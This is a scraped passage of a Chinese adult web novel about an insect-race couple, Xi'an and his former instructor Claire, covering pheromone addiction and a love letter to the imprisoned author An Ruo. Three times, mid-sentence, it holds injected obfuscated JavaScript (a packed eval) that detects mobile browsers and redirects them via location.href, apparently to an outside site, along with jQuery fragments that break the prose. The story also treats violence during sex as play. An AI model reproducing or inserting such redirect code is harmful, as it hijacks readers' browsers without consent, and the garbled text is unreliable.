腿软得几乎站不住,身体顺着衣柜往下滑,理智岌岌可危,却还在艰难地抵抗着什么。 “不,不行,我不能……不能……” ……】 16.雄虫新兵x昔日教官11 【克莱尔的情况看起来很严重。 席安下意识启动房间的信息素净化装置。 这当然没有任何效果,被雄虫咬伤后,信息素直接进入了血液循环,而非存留于空气中。 这种情况,只有被雄虫上或者注射抑制剂才能平复下来。 席安心绪快速转动,思索对策。 克莱尔对他满身抗拒,强行做会让他痛苦万分。 精神内景里看到的惨状也让他不忍心用抑制剂。 席安一咬牙,将克莱尔从地上抱起来,将他带进浴室。 雌虫一被他碰就颤抖挣扎,落地就想逃跑。 席安单手一撑、膝盖一顶,把想要逃跑的雌虫堵在墙角,打开淋浴器,冰凉的冷水猛地洒下。 急促的喘息在浴室水声中依旧清晰可闻。 雌虫腿软得不断往下滑,席安的手揽过他腋下撑起他的身体,另一只手抬起他被水打得苍白潮濕的脸。 “清醒些了吗?” 克莱尔的呼吸声还是很重,身体不受控制地微弱颤抖,涣散的视线逐渐凝聚在他脸上,迷蒙辨认着他。 “……席安?” “嗯。”席安应了声,心里有些意外。 指望冷水让发晴状态下的雌虫冷静下来根本不现实。 可克莱尔竟真的清醒了过来。 想起克莱尔是怎么练就这样强大的自制力,他心里就不是滋味。 这只雌虫对自己严苛到了近乎残忍的地步。 浴室中一时静默,只能听到水声和交织的呼吸声。 离得有些太近了。 席安的睫毛挂上了水雾。 淋浴器一视同仁,将他们双方打濕。 训练服有调节温度的功能,身上倒没什么冷意,唯有头脑在冰冷的刺激下格外清明。 克莱尔眸中恍惚与清醒交替,视线滑过雄虫滴水的额发和睫毛,渐渐想起自己都做了些什么,面色愈发苍白。 他又一次拒绝了雄虫。 任何一只雄虫都无法容忍这样一而再的拒绝。 这并不是他的本意,可身体就像是在跟他作对一样。 他明明痴迷着席安的信息素,很想被他侵入占有。 可真当那信息素的味道铺展开,他却又抗拒甚至恐惧着与对方接触,仿佛这会带来他无法承受的后果。 没有雄虫能容忍这样的一再冒犯。 “雄主,您给我注射肌肉松弛剂吧……用肌肉松弛剂就好了……” 克莱尔哀声祈求。 这不是雄虫对他的强迫,而是他自己的祈求,雄虫不用对此有任何负担。 席安神情犹豫。 他明白克莱尔的意思,克莱尔想用这种方式履行当雌君的义务,被他占有。 但席安当然不愿意用这种会伤害他的东西,而且…… “用肌肉松弛剂……会很松吧?” 席安忍不住道。 克莱尔表情一瞬空白,整只虫都僵了住。 会、很、松、吧? 雄虫的声音在耳边回荡,克莱尔羞愧难忍避开视线,咬牙紧抿着唇,脸色黑沉得难看。甚至连体.内的情氵朝都在瞬间压了下去。之后再也没提过这种药剂。 ……】 #克莱尔 松# 一个充满恶趣味的话题登上星网热议。 雌虫们幸灾乐祸,不断为热度添柴加薪。 [哎呀呀,克莱尔怎么回事,新婚第二天就被雄主嫌弃了。] [雄主说克莱尔很松弛~] [没关系的,别担心,席安阁下是超A级,就是那种超大、超能干的超A级,雌虫松弛一点也不影响,反正会被填满的。] [哇靠,这么一说,更嫉妒克莱尔那家伙了。] [好馋,好想让雄主哔——我,我比克莱尔*。] 上班路上的卡西安议员长,看着星网的这堆污言秽语,露出了落后时代的老虫看光屏的困惑表情。 先连接星网智能管理者,用权限把那些馋他弟弟下半身的留言全删了。 结果发现根本删不完……气得他直接把整个话题封了。 “联系那本书的作者,让他注意点,别瞎写。” 即使联邦言论自由,文娱方面的管制更加宽松,但若是造成恶劣影响,该封还是封。 卡西安把事情交给秘书去办。 对方很快给出回复。 作者用的是军方的临时身份,没能联系上,但书没问题。 比起虫族那些满屏都是黄色暴力血腥的书,作者安写的这本《教官》称得上是其中的一股清流。 总结:书没问题,有问题的是那群雌虫的脑子。 卡西安:“……” 作为一名坚定选择了低等雄虫当雄主的雌虫,就能难理解那些雌虫对高等雄虫发疯般的向往。 而发现话题被封的雌虫们遗憾回到书评区。 星网审核从不管这些小事,突然删话题很不正常。 于是他们一致聊侃,是“克莱尔书灵发力了”。 …… 【训练室里,克莱尔板着脸做基础训练,看起来跟平常一般无二。 可席安总觉得他浑身冒着黑气。 显然那个词对雌虫的伤害太大了。 席安为自己脱口而出的那句话感到懊恼,特别心虚,想要找补。 可他也不能冲到克莱尔面前去,说你其实特别紧,紧得要命,让我头皮发麻。 他也没睡过啊。 席安幽怨瞥着克莱尔的背影。 而且说这样的话会被揍的吧?还是不要再提起这个话题了。 席安想着别的事,动作就明显分心。 克莱尔走过来,手抵在他背后,沉声道: “腰背挺直,身体向后躺一点,核心收紧,腰部发力。” 席安:“……好的教官。” 一声“教官”,克莱尔没觉得不对。 哪怕席安做完全部训练,起身去配套的浴室洗澡,他也没觉得有哪里不对。 直到走出训练室,看到外边的家居陈设,他才骤然反应过来。 这里不是在军中,他也不是席安的教官,他是他雌君。 克莱尔顿时后脑一凉。 雌虫在家里把雄主当兵训了怎么办? 应该庆幸他刚刚没有让席安再加练一组吗? “怎么了?”席安见他停下,疑惑问他。 “雄、主,我刚刚……” 克莱尔忙解释。 “我知道,你刚刚状态很好。” 席安打断他,微勾了下嘴角,道:“这样就挺好的。” 远征回来后的克莱尔,总给他一种死气沉沉的感觉。像是被抽走了生命、对生活和未来都失去了希望。 也就刚刚那一刻,克莱尔身上有了些生机。 至于他被训的事……训就训吧,克莱尔本来就是他的教官兼长官,他被训也不是一次两次了,早习惯了。 克莱尔不明白雄虫说的“好”在哪里,但雄虫已经拉着他下楼。 他的视线落在雄虫牵着他的手上。 席安也发现了,只要不释放信息素,克莱尔没那么抵抗他的肢体接触。 这点甚至比远征前要好。 自从克莱尔把他从天伽追击下带回,又消失了三月后,就对他格外冷淡,完全无法忍受他的靠近。 那一直是席安的心头结。 他认为是他成了克莱尔的负担,拖累了克莱尔,克莱尔才这么讨厌他。 那之后,他拼了命地努力,加倍训练,想要变强,向克莱尔证明自己。 却又在递交远征申请时,得到了克莱尔无情的驳回,毫无回旋余地。 他第一次那么失态地冲到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704143|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克莱尔面前,跟他据理力争,也没能改变他的决定。 克莱尔自己去远征了,带走了部队中的绝大多数虫,除了他。 他再度被抛弃。 克莱尔感觉到雄虫的手有些发冷,他下意识握紧了些。 雄虫疑惑回头,眸光落在他身上,他有一瞬心慌,正巧瞥到空荡荡的餐桌,他忙道: “雄主,我去做饭。” “你会做么……” 席安不太相信。 “我在校期间选修了烹饪课。” 联邦的烹饪课是选修课程,不做强制要求。 但绝大部分雌虫都会选上这门课。 哪怕现代虫家里都有智能机器负责做饭,除了某些厨艺爱好者外,普通虫真正下厨的机会少之又少。 但厨艺在婚恋市场是加分技能。 虫族失衡的性别比和供需关系,雌虫嫁个好雄虫跟考一所名牌大学一样难,以至于雌虫不得不卷生卷死,不放过每一个加分点。 已经扭曲到了连军校都要开设烹饪这种选修课的程度。 克莱尔当初其实没想太多,只是身边虫都选了这门课,他不选会显得很奇怪。 席安听到他选修了这种课反而很诧异,好奇打听: “那成绩怎么样?” 克莱尔沉默了会,还是如实道:“及格……” 第一次后悔自己没学好点。 如果早知道他会跟席安结婚,他绝对会把烹饪课当军事课题去攻克。 席安露出“果然如此”的表情,但还是由着他去厨房。 克莱尔进了厨房才发现,机器管家早把饭菜都做好了,这会正在装盘上菜。 八条机械臂井然有序地工作着,根本没有他插手的地方。 他左看右看,最后调了杯果汁。 见他只端了杯果汁出来,席安也没有任何诧异,笑着邀他入座。 不是一般雄虫家里能坐十几只虫的长餐桌,而是私虫定制的小餐桌。 这样的餐桌不适合虫族家庭,只适合情侣约会。 不过席安现在只有他一只雌虫,倒也够用。 席安捧着果汁小口吸着,只是普通的果汁,他却眉眼舒展,很喜欢的样子。 “我以后早些起来做饭。” 克莱尔斟酌着道。 他在心里强调,他现在是已婚雌虫,不能再像以前那样随意,一切要以雄主为先。 可他雄主道:“不用,有智能管家呢。” 雄虫其实都有些挑食,对食物要求高,吃不惯智能机器做到千篇一律的食物。 席安原本也一样,不过他挑食的毛病早在进入军部后就被治好了。 军部食堂就是神医,让虫清心寡欲,心如止水,失去对食物的原始追求,现在他吃智能机器做的饭都适应良好。 再说了,就克莱尔那个及格水平的厨艺,未必有智能机器做的好。 与其早起做饭,还不如陪他在床上多躺会。 被雄虫拒绝,克莱尔就不再提了,用完餐后,他主动收拾桌子。 结果又被雄虫拦住。 “别管那些,来陪我坐会,我们聊聊。” 席安拉着克莱尔在沙发上坐下,让智能管家去收拾。 克莱尔正襟危坐。 心道终于来了。 他回忆婚后自己所做的种种,还有婚前在席安那里留下的糟糕印象,明白席安是要找他算总账了。 他可能会成为史上第一个婚后第二天就被贬为雌侍或雌奴的雌君。 席安上下打量了遍克莱尔紧绷而笔挺的坐姿,试探着问: “肩膀能靠吗?” 克莱尔微怔,谨慎点头,“可以。” “胸呢?”席安又问。 “……也可以。” 克莱尔表情空白,眼里透着茫然。 ……】 17.雄虫新兵x昔日教官12 [雄主,靠我,我胸大(骄傲挺胸)] [天啊,这么主动热情的高等雄虫哪里找,我遇到的雄虫都冷冷的,不喜欢肢体接触。] [是你的性吸引力太低了,等级高的雌虫有很多雄虫想睡的。] [来努力变强吧兄弟,变强就能吸引到雄虫。] [雌虫的平均等级已经甩雄虫两个大等级了!再这么卷下去,A级雌虫都只能配C级D级雄虫了!] 虫族是慕强的种族。 雄虫喜欢高等级雌虫,雌虫也同样喜欢高等级雄虫。 C级D级雄虫对高等雌虫的吸引力真的很有限。 而雌虫远比雄虫更在意等级。 不同等级的雄虫那方面的能力、信息素吸引力以及精神力强度,区别真的很大,给雌虫的体验天差地别。 可在这失衡的性别比下,雌虫要么卷生卷死脱颖而出,要么只能往下选。 这就是冰冷的现实。 一想到克莱尔那家伙能嫁给A+级雄虫,他们就特别羡慕嫉妒,心里极度不平衡。 其实代入一下也很爽…… 可是克莱尔还在那里端着,不让雄虫睡,他们恨铁不成钢,心里比克莱尔还急。 [克莱尔的厨艺甚至只有及格,天知道军校的烹饪考试有多宽松,只要吃了没中毒都能及格。] [他这水平居然也能嫁给高等雄虫,那我当年卷生卷死考一堆证算什么?] [算你勤奋。] [不是说厨艺是嫁雄虫的加分点,甚至是入门劵、是最基础的东西吗?为什么席安阁下好像一点也不在意这些?] 有雄虫出来说: [其实根本没注意过这个,现在哪只虫家里没有做饭机器,就算聘请专虫上门做饭也不贵。而且雌虫一年大半时间都不在家,军雌更是常年在外,完全指望雌虫做饭我早饿死了。] [就是就是,雌虫都太忙了。] 过来虫表示:[所以要娶很多个雌虫,这个出门了,还有其他的在家陪我,他们可以轮流休假陪我。] 雌虫们迷糊了解到:厨艺多少分、会不会做饭根本不重要。 [完啦!被骗了!] [该死的!一定是被天伽做局了!] [万恶的天伽!] 天伽:? …… 【“你确定吗?胸也能靠?” 席安倾身贴近,以极缓的动作靠近克莱尔,感受到他呼吸屏凝。 他轻轻将头枕在克莱尔肩上,脸靠在克莱尔胸膛,抬眸看他。 克莱尔下颚紧绷,冰蓝的视线凝聚在他脸上,眼睛直愣愣睁着,一眨不眨,看起来比他还紧张。 但没被推开。 席安能感受到他所靠着的肌肉时而紧绷时而放松,随着克莱尔的呼吸变动。 这让他有一种克莱尔的胸肌是活着的恍惚感。 为了不加剧克莱尔的紧张,席安拉过克莱尔的手把玩,分散他的注意力。 “你把我抛下,自己去参加远征,我其实是很生气的。” 不止生气,还有难过,委屈,许多的情绪。 克莱尔想要解释,却被席安捏了下手心打断。 席安知道他想说什么,无非是雄虫不应该上战场、为了他的安全考虑……那些老生常谈的东西。 他是军雄。 他不想听那些。 席安拂过他指间的枪茧。 即使雌虫的恢复力很强,高强度的训练也还是在他身上留下了长久的痕迹。 这些席安手上没有。 因为他的天赋能力。 他有着媲美A级雌虫、甚至超过A级雌虫的耐力和自我修复能力。 哪怕训练时被虐得很惨,缓口气的功夫就能立刻恢复过来,连修复液都不用。 也因此被克莱尔重点关照,虐得最惨…… 跟同等级雌虫比起来,他差一些的大概只有雌雄天生的身体强度和爆发力。 这些在机甲的补足下完全能够抹平。 更何况他还有着雄虫独有的长项——精神力。 席安的努力不比任何军雌少,也自认不必任何军雌差。 即便如此,克莱尔还是不让他上战场。 任何希望都不给他。 席安咬了下牙,捏克莱尔手的动作用力了些,暗暗报复。 克莱尔完全任由他捏,一声不吭。 席安自己跟自己较劲了会就觉得没意思,转而继续说下去。 “你远征回来,也不来见我,直接就归家修养,归期不定。我想找你,军方不让,我只能用雄虫的方式申请基因匹配……意外地,我们的适配度很高……” 99.9%的适配度,何止是高,简直是命中注定,天生一对。 想起这个,席安又开心了些。 不管怎样,他和克莱尔都该在一起。 “其实……原本没那么高。” 克莱尔犹豫着开口。 “没那么高?什么意思?” 席安不解,神情有几分警惕。 克莱尔低垂的睫毛微颤。 这件事说出来,对他没有益处,反而全是弊端。 但他觉得……他不该隐瞒席安。 “我们的适配度其实没那么高,是因为我对您的信息素成瘾,所以单方面把适配度提了上去。” 克莱尔说着,黯然垂眸。 “我们并没有您所想的那么适配……” 席安:“???” “信息素……成瘾?” 是他所想的那个信息素成瘾吗? 席安惊疑眨着眼,从他胸膛撑起身来,跟他面对面。 “等等,这是怎么回事?你说的这些,我怎么都不知道?” 克莱尔哪有对他信息素成瘾的样子? 他恨不得离他一万米。 对他退避三舍! “是您在机甲里晋级时的事。” 克莱尔目光闪烁,不敢看席安。 当初他与席安共处一室,席安的信息素将他完全浸透。 他虽然强撑下来,没有伤害席安,将其平安带回,但他的身体却难以回到从前。 高浓度的雄虫信息素,让他的身体对席安成瘾。 更难以面对的是他的心瘾。 在面对雄虫信息素时一次次抵抗又不断渴望而产生的心瘾。 这些事,克莱尔原本已经忘了。 精神域受损对他的影响太大,让他的部分记忆破碎缺失,他甚至忘了自己曾对席安的信息素成瘾过。 直到席安为他进行精神梳理,修复好了他的大半精神域,他才渐渐想起这些。 克莱尔一说“机甲”和“晋级”,席安就知道是怎么回事了。 “你怎么不早说?这么重要的事情你居然不告诉我?!”席安急了。 他没想到克莱尔连信息素成瘾这种事都能瞒他。 机甲中发生的事他瞒着他,信息素成瘾也瞒着他! 他到底还隐瞒了他多少事?! 就这么不信任他吗? 席安气得咬牙,眼眶泛红,既委屈又生气。 “雄主您息怒,都是我不好,您罚我,请您责罚……” 克莱尔手忙脚乱安抚雄虫的情绪,但他的话只惹得让席安更加生气。 “我需要一个解释!” 席安怒而揪住克莱尔的胸口的衣服,欺身逼近。 抓得太用力,衣服跟底下的肌肉贴得太紧,以至于他抓到了一团过于柔软的事物。 席安慢半拍才发觉手感不对,怔愣低头看去。 白皙修长的手落在黑色的训练服上,将训练服包裹的软弹胸肌抓得变形,勒出明显的指痕。 “……” 席安大脑一空,愣愣眨着眼,怒火卡在一半,不上不下。 克莱尔只当雄虫是在拿他身体撒气。 他短促吸了一口气,压下到喉口的声音,也没敢躲避,就着这个让他难以启齿的姿势回复。 “把您平安带回军区,是我的责任。而信息素成瘾……是我自己的事,不该打扰您。” “你自己的事?” 席安抬眸看了他一眼,语气不满,手下力道不由加重。 不得不说,这手感是真的好。 训练服的手感好,别的也是。 怕真弄疼他了,席安拧到一半就松手,给他揉揉。 克莱尔擅长忍痛,他这一揉,反而让克莱尔不知所措,身体逐渐僵硬,呼吸也不由屏住。 胸膛下的心脏跳得极快,仿佛要落入雄虫手中。 “雄、雄主?” 克莱尔低喘唤了声,几乎咬到自己的舌头。 席安见他并没有太大抵抗,也没有要揍他的意思,干脆将手留在上面。 果然,只要没有高浓度信息素,克莱尔就能接受他的肢体触碰。 这倒是跟其他雌虫全然相反…… 正常雌虫都更喜欢雄虫的信息素。 席安淡淡抬了下眸,对他道:“继续说。” “我……” 克莱尔反应变得迟钝,过了好一会才想起自己要说什么。 “我不能因为这种事找上您,那是强迫您为此担负责任,是对您的伤害……我不能成为伤害您的虫。” 雌虫对雄虫的信息素成瘾,那就只有雄虫的信息素能够缓解。 难道他要去找席安讨要信息素吗? 那相当于是找席安讨要体.液或上床机会。 这太过了。 克莱尔说不出口。 他知道席安本性善良。如果得知他因他而信息素成瘾,席安绝对会对此负责。 但克莱尔不愿意、也不能这么做。 他不能用恩情和责任去绑架席安。 那是对席安的伤害。 “你不来找我怎么知道是强迫我?说不定我很乐意呢?” 席安完全没法理解他的做法。 “不可能。” 克莱尔直接否定。席安怎么可能会乐意给他信息素?他们的关系并不融洽,席安很讨厌他。 可看着席安因他反驳而变得不善的脸色,他又犹豫了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709922|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为自己没领会到精髓。 他思索着猜测: “难道说,您是想在给我信息素的时候……惩罚我出气?” 克莱尔越想越觉得自己真相了。 雌虫上了床都是任由雄虫揍的。 只要有信息素,雄虫不管怎么抽雌虫,那都是晴趣。 在信息素的作用下,雌虫根本感觉不到疼,就算被雄虫捅两刀都是爽的。 真正的痛苦和难堪要等到信息素退去后、理智回归才能感受到。 席安黑了脸。 他在克莱尔心里,到底是什么个形象? “没错!我想把你草丝在床上!” 席安顺着他的话,没好气道。 克莱尔闻言了然,露出果然如此的表情。 他倒也不觉得被羞辱了。 对雌虫来说,能从雄虫口中听到“草丝”这种话,其实是值得高兴的事。 漂亮雄虫说这个词的时候,那高傲的表情也特别戳雌虫审美。 他挺愿意被他草丝的。 他当时不知道席安想用这种方式出气,如果他知道的话…… “你又在想什么?你不会当真了吧?” 席安看他的表情都无语了。 他是想草丝克莱尔,但绝对跟克莱尔所想的“草丝”是两回事。 克莱尔迷糊了。 所以……不该当真吗? “哎呀你真是……等等,不对啊……” 席安反应过来什么,将刚刚的话题抛到脑后,看向克莱尔的目光带着探究。 “如果你对我信息素成瘾,怎么会对我那么冷淡?” 席安疑惑。 信息素成瘾的雌虫会格外迷恋雄虫,根本离不开雄虫的信息素,只有被灌满才能得到短暂的满足。 他晋级成功,从军区医院醒来,一直没见到克莱尔。 军团长也只模糊说克莱尔去进行隔离训练了。 直到三月后,克莱尔才出现,且对他格外疏离冷淡。 信息素成瘾的雌虫怎么可能离开雄虫三个月之久? 还是在刚刚成瘾,对雄虫最渴求的时候。 席安不是傻虫,一点信息就能让他串联起全局。 谜底就在谜面上。 如果信息素成瘾是真的,那么…… “那三个月你去做什么了?” 席安注视着克莱尔问,表情凝重。 “我……” 克莱尔张口正要回答,却发现脑海里空空如也。 关于那段记忆,他什么都想不起来。 这种事情曾出现过,他在不久前还忘记了他对席安信息素成瘾。 直到被席安精神梳理后才恢复。 但这三个月的记忆并没有一同恢复。 它们像是从他脑海里彻底消失了。 又像是已经融入了他的四肢百骸里,甚至意识深处,不可分割。 克莱尔最终只能道: “我忘了,想不起来。” “忘了?” 席安疑惑。 克莱尔的表情不似作假。 精神域受损也确实可能损伤记忆。 克莱尔的精神域刚被他修复到70分,还没有完全恢复。 最难的部分已经解决,不会有精神暴动的风险。 剩下的部分虽简单,却也需要花费更多时间去温养…… 席安凝眉思索着。 怕刺激到克莱尔那还没好全的脑子,他没有再追问下去。 其实对于那三个月隔离训练,他心里已经隐隐有所猜测。 从信息素成瘾,到冷淡抗拒。 其中经历了什么,不言而喻。 席安微抿着唇,脸色依旧难看。 他不知道这是克莱尔还是军方其他虫的主意,想来两者都脱不了干系。 克莱尔一向对自己狠厉得近乎残忍。 “我会治疗好你的精神域,到时候你缺失的记忆也会全部回来。”席安臭着脸。 并不是很想把那部分记忆找回来。 但那是克莱尔的一部分,他不能剥夺。 压下心底的别扭,席安转而对克莱尔道: “在这期间,你需要配合我进行脱敏训练。” 克莱尔:“脱敏训练?” “对。” 席安与克莱尔四目相对,神情认真,跟他分析: “我们已经结婚,我是你的雄主,我们的结合,合情合理、合法合规。不管以前怎么样,我们现在都是结婚领证了的配偶,你不能一直这么抗拒我。” 克莱尔颔首表示明白,他比谁都更在意这段关系能否维持下去。 席安继续说:“在没有大量信息素的情况下,你其实能接受我的某些肢体接触,比如牵手,比如倚靠。现在我们要做的就算继续下去,增加接触,让你逐步适应。” “是,我会配合。”克莱尔保证。 席安一拍手,当即宣布: “那么就从晚上裸睡开始吧!” 图穷匕见。 ……】 18.军雌情书 [啊?裸裸裸睡?雄主你又奖励他!(大哭)] 看到“裸睡”两个字,雌虫们悲伤的眼泪从眼角和嘴角一起流了出来。 [我还以为会从牵手开始慢慢来呢,席安阁下居然一步到胃,不愧是超A级雄虫(吸溜)(馋)。] [注意点,现在星网对席安阁下那方面的言论管得很严,瞎开车会荣获禁言大礼包。] [克莱尔的书灵还在发力!] 还有读者对“信息素成瘾”更加好奇。 [真的有信息素成瘾这种东西吗?那得多大剂量啊。] [信息素成瘾的前提是双方适配度本身就很高,又在短期内吸入大量雄虫信息素,被信息素彻底浸透……这个要求太高了,一般虫根本达不到。] [所以说,克莱尔相当于是还没结婚,就被席安阁下的信息素捕获催熟了。] [靠!更嫉妒了!] [克莱尔这家伙,外表一副性冷淡样,其实内里早就熟透了!] [这是什么好命啊(嫉妒使虫面目扭曲)。] [别想了,克莱尔这种,寻常虫根本做不来。换成在座各位,早在席安阁下晋级散发信息素的时候,就理智全无、裤子飞飞了……然后被天伽一炮轰成灰烬,还搭上了席安阁下。] [……这个确实做不来,谁比得过克莱尔那绝世忍虫啊,对自己狠得像是断情绝育了。] #克莱尔 绝育# [点赞] [点赞] [点赞] …… [不要乱顶奇怪的话题啊喂!(点赞)] …… 安若更完文,习惯性刷着评论,随手点了个赞。 看清写的是什么后,赶紧撤回一个赞。 这些雌虫的脑子里的想法真是太古怪了,果然嫉妒使虫扭曲。 关闭光屏,安若仰靠在椅子上,伸了个懒腰活动筋骨。 最近更得有些多,该给自己放一天假了。 安若看了眼空空如也的存稿箱,心虚一秒,还是决定先去做别的事。 他也不是不想存稿,但灵感这种东西是真的说不准。 到了某个节点之后就是卡住了,怎么想也想不出来。 硬写也不是不行,就是怎么都不对味…… 反正监狱包吃住,他也没什么更新压力,安若选择先去做点别的事放空大脑。 先前,乌列尔帮他把军雌们的礼物送了过来。 东西太多,多到囚室里都放不下,乌列尔只能再多给他一个空间纽来装。 空间纽小小一颗,可以像个纽扣或者领针一样别在衣服上。 内部空间却十分可观,大得能装下机甲。 安若这些天忙着写文和做精神梳理,都没来得及拆礼物,今天正好抽出一天时间来做这个。 首先是花,非常多的花。 安若怀疑是乌列尔跟那些雌虫说了他喜欢花,以至于那些军雌都临时定了花送过来,不然怎么会这么多? 好在空间纽能给花保鲜,维持它们放入时的状态,不会枯萎。 安若找了个花瓶出来,将其中一束花摆上。 或粉或红的花装点在一起,让整个囚室都显得明亮活泼了许多。 安若对此很满意,决定每天换新的花摆着。 就算是这样,也要很久才能消耗掉那一空间纽的花。 其次是衣服。 这些雌虫似乎乐衷于给雄虫送漂亮衣服和首饰。 空间纽里有许多华丽的礼服和宝石配饰。 漂亮倒是漂亮,可他一个囚犯哪有机会穿这些? 安若从中挑选出几套面料高档舒适的睡衣,这个倒是很实用,可以换着穿。 乌列尔说过,囚服只有在出囚室的时候需要穿,在囚室内他可以穿其他衣服。 他刚进监狱时,机器虫收走他的衣服,其实是以防他身上藏有其他违禁物品。 安若继续从空间纽里往外掏东西。 然后是各种虫族雄虫喜欢的经典零食、水果、饮品……补品。 看着那大红包装、就差写上给雄虫补xx的礼盒,安若表情一言难尽。 看出来了,军区的雌虫都喜欢给雄虫补身体。 这对他们来说大概相当于给机器上润滑油做保养。 安若默默将其塞回空间纽,压在最底下。 然后还有……书信? 安若将一沓像是信件的事物拿出来,神情诧异。 这样的纸质文稿在星际时代已经很少见了,它们现在的定位更类似于收藏品。 军雌们没有他的终端号,无法与他联系,最后竟用上了这么传统的联络方法。 他穿越到虫族,最先收到的信不是来自读者,而是来自军雌们的感谢信。 安若心情复杂,也觉得特别奇妙。 他走到桌前坐下,将信拆开阅读。 大部分信都是类似贺卡或者明信片的形式,装饰感很强。 所以,在看到信上的各种花瓣花朵、闻到那刻意喷上去的香水时,安若并没有察觉到什么不对。 第一次作为医生收到患者的感谢信,安若正襟危坐,带着些小雀跃,认真读下去。 『安诺阁下亲启: 我叫沃伦,曾服役于第九军团,星蝎部队,军衔少校。我的个虫资产清单随信附上,如果您愿意赏脸一览的话…… 我参加了去年的远征。 远征是军雌的荣耀,也是军雌的坟墓。 我是幸运的也是不幸的,我活着从战场上回来,精神数值却一度低至25分,进入极危状态。这对于一个没有雄主的军雌来说,几乎是宣判了死刑。 是的,军区有专门的精神梳理师,但普通军雌想要排上通常需要3-50年不等。 哪怕军部会给精神状态极危的军雌优先,也通常需要等待好几年。这个时间,足以让一个精神极危的雌虫步入癫狂或者死亡,二者并无区别。 那段时间,我已经在写遗书。 我没有雄主,也没有幼崽,遗书也没什么好写的,只不过是清点个虫资产,在死后捐献给社会福利机构。 就在这时,我收到了有一位新的B级精神梳理师入驻军区的通知。 我的负责虫告诉我可以将我的申请转移到您的名下,这是最快获得精神梳理的方式,同时他也提醒我,您的风格可能会比较……暴力。 我代他向您请罪,他并没有恶意。您与尤利西斯元帅的离婚案广为虫知,申请您精神梳理的雌虫多少都抱有一些这方面的担心。 我当时已经别无选择,军部至少不会让我死在雄虫的床上,如果没有精神梳理我却注定会死。 而现在,我觉得那是命运的眷顾,是最好的选择。 我排上了,且排位很靠前。 为了能够赶上,我连夜乘坐星舰、经历数次空间迁跃,在第二天一早抵达首都星第一军区。 我当时风尘仆仆,神情憔悴,同行的雌虫劝我应该好好打理一下自己,这样会让雄虫提不起兴趣,也会影响最终的精神梳理效果。 时间实在太紧,没时间给我再做多的打理,我想着顶多是被更粗暴地对待,反正我一向擅长忍痛。 现在想来实在很后悔,没能将最好的一面展现在您面前,给您留下的糟糕的初印象。 很快就轮到了我。我跟在引路的军雌身后,心中忐忑。我以为我会被带去您的房间,没想到是治疗室。 您一身白衣,坐在桌后等我。 治疗室的灯光冰冷苍白,可您抬眸看来时,眸光温和而悲悯,像是将我拉入了阳光下。 我在您的眼里看到了我自己,您碧绿的眼眸澄净得让我自惭形秽。 您为我进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714474|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行精神梳理。当您强大的精神力涌入我的脑海时,我的灵魂都在颤栗,心底升起将要被您侵犯的期待和恐惧。 您强硬而轻易地攻破我的壁垒,我的一切都向您敞开,我的所有隐秘都在您面前展露无疑。 您将破碎的我拼凑完整,您的精神力扫过之处,所有混乱狂躁归于平静安宁。 我的状态从未如此好过。 您给了我满值的精神梳理,让我从精神极危到完美。 雌虫爱上精神梳理的雄虫很正常,我爱上您同样轻而易举。 或许早在您第一眼看向我时,您悲悯的目光就将我俘获。 那之后我狂热地搜集了许多关于您的信息,我还观看了您与尤利西斯元帅的离婚审判录像…… 我知道这是不对的。您与元帅的案件虫尽皆知,但凡是只正常的雌虫都不该沉陷下去。 但我想,我可能不太正常。 我用了许多方法想让自己冷静,却还是整日整夜地想您。 您离婚了,没有雌君也没有雌侍。您独自在军区监狱里,身边没有任何雌虫照顾。 我是说……我渴望成为那个照顾您的雌虫,如果您愿意接纳我的话。 我知道您的刑期很长,终身都无法离开军区监狱,我愿意一直守候和陪伴您,作为家属去探望照顾您。 我也知道您的风格比较暴力……我没问题的,我身体好,很耐揍。就算没能撑下来也没事,我的命是您救的,您随时可以取走,我很乐于死在您的手上。我会提前写下免责声明,不会为您带来麻烦。 期待您的回复。 来自永远爱您的沃伦』 “……” 啊? 啊啊啊啊啊?!! 安若从最开始的期待到疑惑,到最后的惊恐。 他猛然意识到,这是不是什么感谢信,而是一封情书。 啊?! 安若吓得丢下手里的信件,身体猛地后仰,那困惑而警惕的表情像是遇上了定时炸.弹。 他怎么也想不明白自己为什么会收到这种东西。 或许就如信中所说,雌虫很容易迷恋上为他进行精神梳理的雄虫。 但他现在的身份是军区精神梳理师(公用的雄虫),还有着全联邦皆知的超凶残家暴前科。 有这两个劝退效果超强的负面头衔在这里,居然还有雌虫脑子不清醒地往上冲? 安若心惊胆颤。 这种情况,如果放在现实社会,他一定会因为有违医德被处分。 虽然他是个假医生,但这刺氵敫还是太大了。 